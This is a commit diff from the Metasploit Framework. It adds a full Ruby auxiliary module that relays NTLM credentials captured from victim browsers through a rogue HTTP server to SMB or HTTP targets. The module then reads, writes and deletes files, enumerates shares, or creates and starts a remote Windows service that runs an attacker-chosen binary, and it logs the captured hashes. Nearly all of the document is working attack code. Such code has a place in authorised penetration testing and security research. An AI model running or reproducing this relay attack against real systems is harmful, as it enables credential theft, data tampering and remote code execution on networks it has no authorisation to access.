Merge branch 'master' of github.com:rapid7/metasploit-framework
commit
8534309d18
|
@ -937,7 +937,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
|
||||
# An exploit helper function for sending arbitrary SPNEGO blobs
|
||||
def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
|
||||
def session_setup_with_ntlmssp_blob(blob = '', do_recv = true, userid = 0)
|
||||
native_data = ''
|
||||
native_data << self.native_os + "\x00"
|
||||
native_data << self.native_lm + "\x00"
|
||||
|
@ -949,7 +949,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
||||
pkt['Payload']['SMB'].v['UserID'] = 0
|
||||
pkt['Payload']['SMB'].v['UserID'] = userid
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
|
|
|
@ -0,0 +1,674 @@
|
|||
##
|
||||
# $Id:$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/message'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/exceptions'
|
||||
|
||||
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
||||
MESSAGE = Rex::Proto::NTLM::Message
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# Aliases for common classes
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
NDR = Rex::Encoder::NDR
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HTTP Client MS Credential Relayer',
|
||||
'Version' => '$Revision:$',
|
||||
'Description' => %q{
|
||||
This module relays negotiated NTLM Credentials from an HTTP server to multiple
|
||||
protocols. Currently, this module supports relaying to SMB and HTTP.
|
||||
|
||||
Complicated custom attacks requiring multiple requests that depend on each
|
||||
other can be written using the SYNC* options. For example, a CSRF-style
|
||||
attack might first set an HTTP_GET request with a unique SNYNCID and set
|
||||
an HTTP_POST request with a SYNCFILE, which contains logic to look
|
||||
through the database and parse out important values, such as the CSRF token
|
||||
or authentication cookies, setting these as configuration options, and finally
|
||||
create a web page with iframe elements pointing at the HTTP_GET and HTTP_POSTs.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Rich Lundeen <richard.lundeen[at]gmail.com>',
|
||||
],
|
||||
'Version' => '$Revision:$',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'WebServer' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'WebServer'
|
||||
],
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options([
|
||||
OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
|
||||
OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET",
|
||||
[ "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM",
|
||||
"SMB_LS", "SMB_PWN" ]]),
|
||||
OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]),
|
||||
OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]),
|
||||
OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]),
|
||||
OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]),
|
||||
OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]),
|
||||
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptPath.new('RESPPAGE', [false,
|
||||
'The file used for the server response. (Image extensions matter)', nil]),
|
||||
OptPath.new('HTTP_HEADERFILE', [false,
|
||||
'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]),
|
||||
OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM',
|
||||
'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword',
|
||||
'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
|
||||
'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
|
||||
end
|
||||
|
||||
# Handles the initial requests waiting for the browser to try NTLM auth
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
datastore['REQUEST_IP'] = cli.peerhost
|
||||
cli.keepalive = true;
|
||||
|
||||
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
||||
if(!request.headers['Authorization'])
|
||||
response = create_response(401, "Unauthorized")
|
||||
response.headers['WWW-Authenticate'] = "NTLM"
|
||||
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
|
||||
|
||||
response.body =
|
||||
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
|
||||
|
||||
cli.send_response(response)
|
||||
return false
|
||||
end
|
||||
method,hash = request.headers['Authorization'].split(/\s+/,2)
|
||||
# If the method isn't NTLM something odd is goign on.
|
||||
# Regardless, this won't get what we want, 404 them
|
||||
if(method != "NTLM")
|
||||
print_status("Unrecognized Authorization header, responding with 404")
|
||||
send_not_found(cli)
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
||||
|
||||
if (datastore['SYNCFILE'] != nil)
|
||||
sync_options()
|
||||
end
|
||||
|
||||
handle_relay(cli,hash)
|
||||
end
|
||||
|
||||
def run
|
||||
parse_args()
|
||||
exploit()
|
||||
end
|
||||
|
||||
#The call to handle_relay should be a victim HTTP type 1 request
|
||||
def handle_relay(cli_sock, hash)
|
||||
print_status("Beginning NTLM Relay...")
|
||||
message = Rex::Text.decode_base64(hash)
|
||||
#get type of message, which will be HTTP, SMB, ...
|
||||
protocol = datastore['RTYPE'].split('_')[0]
|
||||
if(message[8,1] != "\x03")
|
||||
#Relay NTLMSSP_NETOTIATE from client to server (type 1)
|
||||
case protocol
|
||||
when 'HTTP'
|
||||
resp, ser_sock = http_relay_toserver(hash)
|
||||
if resp.headers["WWW-Authenticate"]
|
||||
t2hash = resp.headers["WWW-Authenticate"].split(" ")[1]
|
||||
else
|
||||
print_error "#{rhost} is not requesting authentication."
|
||||
cli_sock.close
|
||||
ser_sock.close
|
||||
return false
|
||||
end
|
||||
when 'SMB'
|
||||
t2hash, ser_sock = smb_relay_toservert1(hash)
|
||||
end
|
||||
#goes along with above, resp is now just the hash
|
||||
client_respheader = "NTLM " << t2hash
|
||||
|
||||
#Relay NTLMSSP_CHALLENGE from server to client (type 2)
|
||||
response = create_response(401, "Unauthorized")
|
||||
response.headers['WWW-Authenticate'] = client_respheader
|
||||
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
|
||||
|
||||
response.body =
|
||||
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
|
||||
|
||||
cli_sock.send_response(response)
|
||||
|
||||
#Get the type 3 hash from the client and relay to the server
|
||||
cli_type3Data = cli_sock.get_once(-1, 5)
|
||||
begin
|
||||
cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1]
|
||||
cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0]
|
||||
rescue ::NoMethodError
|
||||
print_error("Error: Type3 hash not relayed.")
|
||||
cli_sock.close()
|
||||
return false
|
||||
end
|
||||
case protocol
|
||||
when 'HTTP'
|
||||
resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock)
|
||||
when 'SMB'
|
||||
ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock)
|
||||
#perform authenticated action
|
||||
action = datastore['RTYPE'].split('_')[1]
|
||||
case action
|
||||
when 'GET'
|
||||
resp = smb_get(ser_sock)
|
||||
when 'PUT'
|
||||
resp = smb_put(ser_sock)
|
||||
when 'RM'
|
||||
resp = smb_rm(ser_sock)
|
||||
when 'ENUM'
|
||||
resp = smb_enum(ser_sock)
|
||||
when 'LS'
|
||||
resp = smb_ls(ser_sock)
|
||||
when 'PWN'
|
||||
resp = smb_pwn(ser_sock, cli_sock)
|
||||
end
|
||||
end
|
||||
report_info(resp, cli_type3Hash)
|
||||
|
||||
#close the client socket
|
||||
response = set_cli_200resp()
|
||||
cli_sock.send_response(response)
|
||||
cli_sock.close()
|
||||
if protocol == 'HTTP'
|
||||
ser_sock.close()
|
||||
end
|
||||
return
|
||||
else
|
||||
print_error("Error: Bad NTLM sent from victim browser")
|
||||
cli_sock.close()
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def parse_args()
|
||||
# Consolidate the PUTDATA and FILEPUTDATA options into FINALPUTDATA
|
||||
if datastore['PUTDATA'] != nil and datastore['FILEPUTDATA'] != nil
|
||||
print_error("PUTDATA and FILEPUTDATA cannot both contain data")
|
||||
raise ArgumentError
|
||||
elsif datastore['PUTDATA'] != nil
|
||||
datastore['FINALPUTDATA'] = datastore['PUTDATA']
|
||||
elsif datastore['FILEPUTDATA'] != nil
|
||||
f = File.open(datastore['FILEPUTDATA'], "rb")
|
||||
datastore['FINALPUTDATA'] = f.read
|
||||
f.close
|
||||
end
|
||||
|
||||
if (not framework.db.active) and (not datastore['VERBOSE'])
|
||||
print_error("No database configured and verbose disabled, info may be lost. Continuing")
|
||||
end
|
||||
end
|
||||
|
||||
# sync_options dynamically changes the arguments of a running attack
|
||||
# this is useful for multi staged relay attacks
|
||||
# ideally I would use a resource file but it's not easily exposed, and this is simpler
|
||||
def sync_options()
|
||||
print_status("Dynamically eval()'ing local ruby file: #{datastore['SYNCFILE']}")
|
||||
# previous request might create the file, so error thrown at runtime
|
||||
if not ::File.readable?(datastore['SYNCFILE'])
|
||||
print_error("SYNCFILE unreadable, aborting")
|
||||
raise ArgumentError
|
||||
end
|
||||
data = ::File.read(datastore['SYNCFILE'])
|
||||
eval(data) # WARNING: This can be insanely insecure!
|
||||
end
|
||||
|
||||
# relay creds to server and perform any HTTP specific attacks
|
||||
def http_relay_toserver(hash, ser_sock = nil)
|
||||
timeout = 20
|
||||
type3 = (ser_sock == nil ? false : true)
|
||||
|
||||
method = datastore['RTYPE'].split('_')[1]
|
||||
theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
|
||||
"Connection: Keep-Alive\r\n" )
|
||||
|
||||
if (method == 'POST')
|
||||
theaders << 'Content-Length: ' <<
|
||||
(datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n"
|
||||
end
|
||||
|
||||
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
|
||||
if datastore['HTTP_HEADERFILE'] != nil
|
||||
print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
|
||||
#previous request might create the file, so error thrown at runtime
|
||||
if not ::File.readable?(datastore['HTTP_HEADERFILE'])
|
||||
print_error("HTTP_HEADERFILE unreadable, aborting")
|
||||
raise ArgumentError
|
||||
end
|
||||
#read file line by line to deal with any dos/unix ending ambiguity
|
||||
File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
|
||||
next if header.strip == ''
|
||||
theaders << (header) << "\r\n"
|
||||
end
|
||||
end
|
||||
|
||||
opts = {
|
||||
'uri' => datastore['RURIPATH'],
|
||||
'method' => method,
|
||||
'version' => '1.1',
|
||||
}
|
||||
if (datastore['FINALPUTDATA'] != nil)
|
||||
#we need to get rid of an extra "\r\n"
|
||||
theaders = theaders[0..-3]
|
||||
opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n"
|
||||
end
|
||||
opts['SSL'] = true if datastore["RSSL"]
|
||||
opts['raw_headers'] = theaders
|
||||
|
||||
ser_sock = connect(opts) if !type3
|
||||
|
||||
r = ser_sock.request_raw(opts)
|
||||
resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
|
||||
|
||||
# Type3 processing
|
||||
if type3
|
||||
#check if auth was successful
|
||||
if resp.code == 401
|
||||
print_error("Auth not successful, returned a 401")
|
||||
else
|
||||
print_status("Auth successful, saving server response in database")
|
||||
end
|
||||
vprint_status(resp)
|
||||
end
|
||||
return [resp, ser_sock]
|
||||
end
|
||||
|
||||
#relay ntlm type1 message for SMB
|
||||
def smb_relay_toservert1(hash)
|
||||
rsock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => datastore['RHOST'],
|
||||
'PeerPort' => datastore['RPORT'],
|
||||
'Timeout' => 3,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit'=> self,
|
||||
}
|
||||
)
|
||||
if (not rsock)
|
||||
print_error("Could not connect to target host (#{target_host})")
|
||||
return
|
||||
end
|
||||
ser_sock = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
|
||||
|
||||
if (datastore['RPORT'] == '139')
|
||||
ser_sock.client.session_request()
|
||||
end
|
||||
|
||||
blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201)
|
||||
ser_sock.client.negotiate(true)
|
||||
ser_sock.client.require_signing = false
|
||||
resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false)
|
||||
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
||||
|
||||
#Save the user_ID for future requests
|
||||
ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
|
||||
|
||||
begin
|
||||
#lazy ntlmsspblob extraction
|
||||
ntlmsspblob = 'NTLMSSP' <<
|
||||
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
|
||||
"\x00\x00"
|
||||
rescue ::Exception => e
|
||||
print_error("Type 2 response not read properly from server")
|
||||
raise e
|
||||
end
|
||||
ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
|
||||
return [ntlmsspencodedblob, ser_sock]
|
||||
end
|
||||
|
||||
#relay ntlm type3 SMB message
|
||||
def smb_relay_toservert3(hash, ser_sock)
|
||||
arg = get_hash_info(hash)
|
||||
dhash = Rex::Text.decode_base64(hash)
|
||||
|
||||
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
|
||||
blob =
|
||||
"\xa1" + Rex::Proto::NTLM::Utils.asn1encode(
|
||||
"\x30" + Rex::Proto::NTLM::Utils.asn1encode(
|
||||
"\xa2" + Rex::Proto::NTLM::Utils.asn1encode(
|
||||
"\x04" + Rex::Proto::NTLM::Utils.asn1encode(
|
||||
dhash
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
resp = ser_sock.client.session_setup_with_ntlmssp_blob(
|
||||
blob,
|
||||
false,
|
||||
ser_sock.client.auth_user_id
|
||||
)
|
||||
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
||||
|
||||
#check if auth was successful
|
||||
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
|
||||
print_status("SMB auth relay succeeded")
|
||||
else
|
||||
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
|
||||
failure.word_count = resp['Payload']['SMB'].v['WordCount']
|
||||
failure.command = resp['Payload']['SMB'].v['Command']
|
||||
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
|
||||
raise failure
|
||||
end
|
||||
return ser_sock
|
||||
end
|
||||
|
||||
#gets a specified file from the drive
|
||||
def smb_get(ser_sock)
|
||||
share, path = datastore['RURIPATH'].split('\\', 2)
|
||||
path = path
|
||||
ser_sock.client.tree_connect(share)
|
||||
ser_sock.client.open("\\" << path, 0x1)
|
||||
resp = ser_sock.client.read()
|
||||
print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
|
||||
vprint_status("----Contents----")
|
||||
vprint_status(resp["Payload"].v["Payload"])
|
||||
vprint_status("----End Contents----")
|
||||
ser_sock.client.close()
|
||||
return resp["Payload"].v["Payload"]
|
||||
end
|
||||
|
||||
#puts a specified file
|
||||
def smb_put(ser_sock)
|
||||
share, path = datastore['RURIPATH'].split('\\', 2)
|
||||
path = path
|
||||
ser_sock.client.tree_connect(share)
|
||||
|
||||
fd = ser_sock.open("\\#{path}", 'rwct')
|
||||
fd << datastore['FINALPUTDATA']
|
||||
fd.close
|
||||
|
||||
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
|
||||
print_status(logdata)
|
||||
return logdata
|
||||
end
|
||||
|
||||
#deletes a file from a share
|
||||
def smb_rm(ser_sock)
|
||||
share, path = datastore['RURIPATH'].split('\\', 2)
|
||||
path = path
|
||||
ser_sock.client.tree_connect(share)
|
||||
ser_sock.client.delete('\\' << path)
|
||||
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} deleted"
|
||||
print_status(logdata)
|
||||
return logdata
|
||||
end
|
||||
|
||||
#smb share enumerator, overly simplified, just tries connecting to configured shares
|
||||
#This could be improved by using techniques from SMB_ENUMSHARES
|
||||
def smb_enum(ser_sock)
|
||||
shares = []
|
||||
datastore["SMB_SHARES"].split(",").each do |share_name|
|
||||
begin
|
||||
ser_sock.client.tree_connect(share_name)
|
||||
shares << share_name
|
||||
rescue
|
||||
next
|
||||
end
|
||||
end
|
||||
print_status("Shares enumerated #{datastore["RHOST"]} #{shares.to_s()}")
|
||||
return shares
|
||||
end
|
||||
|
||||
#smb list directory
|
||||
def smb_ls(ser_sock)
|
||||
share, path = datastore['RURIPATH'].split('\\', 2)
|
||||
ser_sock.client.tree_connect(share)
|
||||
files = ser_sock.client.find_first(path << "\\*")
|
||||
|
||||
print_status(
|
||||
"Listed #{files.length} files from #{datastore["RHOST"]}\\#{datastore["RURIPATH"]}"
|
||||
)
|
||||
|
||||
if datastore["VERBOSE"]
|
||||
files.each {|filename| print_status(" #{filename[0]}")}
|
||||
end
|
||||
return files
|
||||
end
|
||||
|
||||
#start a service. This methos copies a lot of logic/code from psexec (and smb_relay)
|
||||
def smb_pwn(ser_sock, cli_sock)
|
||||
|
||||
#filename is a little finicky, it needs to be in a format like
|
||||
#"%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe
|
||||
filename = datastore['RURIPATH']
|
||||
|
||||
ser_sock.connect("IPC$")
|
||||
opts = {
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
'smb_pipeio' => 'rw',
|
||||
'smb_client' => ser_sock
|
||||
}
|
||||
uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
|
||||
handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', cli_sock.peerhost, ["\\svcctl"])
|
||||
dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)
|
||||
|
||||
print_status("Obtraining a service manager handle...")
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{datastore["RHOST"]}") +
|
||||
NDR.long(0) +
|
||||
NDR.long(0xF003F)
|
||||
begin
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
scm_handle = dcerpc.last_response.stub_data[0,20]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Creating a new service")
|
||||
|
||||
servicename = Rex::Text::rand_text_alpha(8)
|
||||
displayname = Rex::Text::rand_text_alpha(rand(32)+1)
|
||||
svc_handle = nil
|
||||
|
||||
stubdata =
|
||||
scm_handle +
|
||||
NDR.wstring(servicename) +
|
||||
NDR.uwstring(displayname) +
|
||||
NDR.long(0x0F01FF) + # Access: MAX
|
||||
NDR.long(0x00000110) + # Type: Interactive, Own process
|
||||
NDR.long(0x00000003) + # Start: Demand
|
||||
NDR.long(0x00000000) + # Errors: Ignore
|
||||
|
||||
NDR.wstring(filename) + # Binary Path
|
||||
NDR.long(0) + # LoadOrderGroup
|
||||
NDR.long(0) + # Dependencies
|
||||
NDR.long(0) + # Service Start
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) # Password
|
||||
|
||||
begin
|
||||
response = dcerpc.call(0x0c, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
svc_status = dcerpc.last_response.stub_data[24,4]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Closing service handle...")
|
||||
begin
|
||||
response = dcerpc.call(0x0, svc_handle)
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
print_status("Opening service...")
|
||||
begin
|
||||
stubdata =
|
||||
scm_handle +
|
||||
NDR.wstring(servicename) +
|
||||
NDR.long(0xF01FF)
|
||||
|
||||
response = dcerpc.call(0x10, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Starting the service...")
|
||||
stubdata =
|
||||
svc_handle +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
begin
|
||||
response = dcerpc.call(0x13, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Removing the service...")
|
||||
stubdata =
|
||||
svc_handle
|
||||
begin
|
||||
response = dcerpc.call(0x02, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
end
|
||||
|
||||
print_status("Closing service handle...")
|
||||
begin
|
||||
response = dcerpc.call(0x0, svc_handle)
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e}")
|
||||
end
|
||||
|
||||
ser_sock.disconnect("IPC$")
|
||||
end
|
||||
|
||||
#print status, and add to the info database
|
||||
def report_info(resp, type3_hash)
|
||||
data = get_hash_info(type3_hash)
|
||||
|
||||
#no need to generically always grab everything, but grab common config options
|
||||
#and the response, some may be set to nil and that's fine
|
||||
data[:protocol] = datastore['RTYPE']
|
||||
data[:RHOST] = datastore['RHOST']
|
||||
data[:RPORT] = datastore['RPORT']
|
||||
data[:RURI] = datastore['RURIPATH']
|
||||
data[:SYNCID] = datastore['SYNCID']
|
||||
data[:Response] = resp
|
||||
|
||||
report_note(
|
||||
:host => data[:ip],
|
||||
:type => 'ntlm_relay',
|
||||
:update => 'unique_data',
|
||||
:data => data
|
||||
)
|
||||
end
|
||||
|
||||
#mostly taken from http_ntlm module handle_auth function
|
||||
def get_hash_info(type3_hash)
|
||||
#authorization string is base64 encoded message
|
||||
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash)
|
||||
nt_len = ntlm_hash.length
|
||||
|
||||
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
:lm_hash => lm_hash,
|
||||
:nt_hash => ntlm_hash
|
||||
}
|
||||
|
||||
if arg[:lm_hash][16,32] == '0' * 32
|
||||
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
||||
end
|
||||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||
#a ntlmv2 response
|
||||
elsif nt_len > 48 #lmv2/ntlmv2
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => lm_hash[0, 32],
|
||||
:lm_cli_challenge => lm_hash[32, 16],
|
||||
:nt_hash => ntlm_hash[0, 32],
|
||||
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
||||
}
|
||||
elsif nt_len == 0
|
||||
print_status("Empty hash from #{host} captured, ignoring ... ")
|
||||
else
|
||||
print_status("Unknow hash type from #{host}, ignoring ...")
|
||||
end
|
||||
|
||||
arg[:host] = host
|
||||
arg[:user] = user
|
||||
arg[:domain] = domain
|
||||
|
||||
return arg
|
||||
end
|
||||
|
||||
#function allowing some basic/common configuration in responses
|
||||
def set_cli_200resp()
|
||||
response = create_response(200, "OK")
|
||||
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
|
||||
|
||||
if (datastore['RESPPAGE'] != nil)
|
||||
begin
|
||||
respfile = File.open(datastore['RESPPAGE'], "rb")
|
||||
response.body = respfile.read
|
||||
respfile.close
|
||||
|
||||
type = datastore['RESPPAGE'].split('.')[-1].downcase
|
||||
#images can be especially useful (e.g. in email signatures)
|
||||
case type
|
||||
when 'png', 'gif', 'jpg', 'jpeg'
|
||||
print_status('setting content type to image')
|
||||
response.headers['Content-Type'] = "image/" << type
|
||||
end
|
||||
rescue
|
||||
print_error("Problem processing respfile. Continuing...")
|
||||
end
|
||||
end
|
||||
if (response.body.empty?)
|
||||
response.body = "<HTML><HEAD><TITLE>My Page</TITLE></HEAD></HTML>"
|
||||
end
|
||||
return response
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue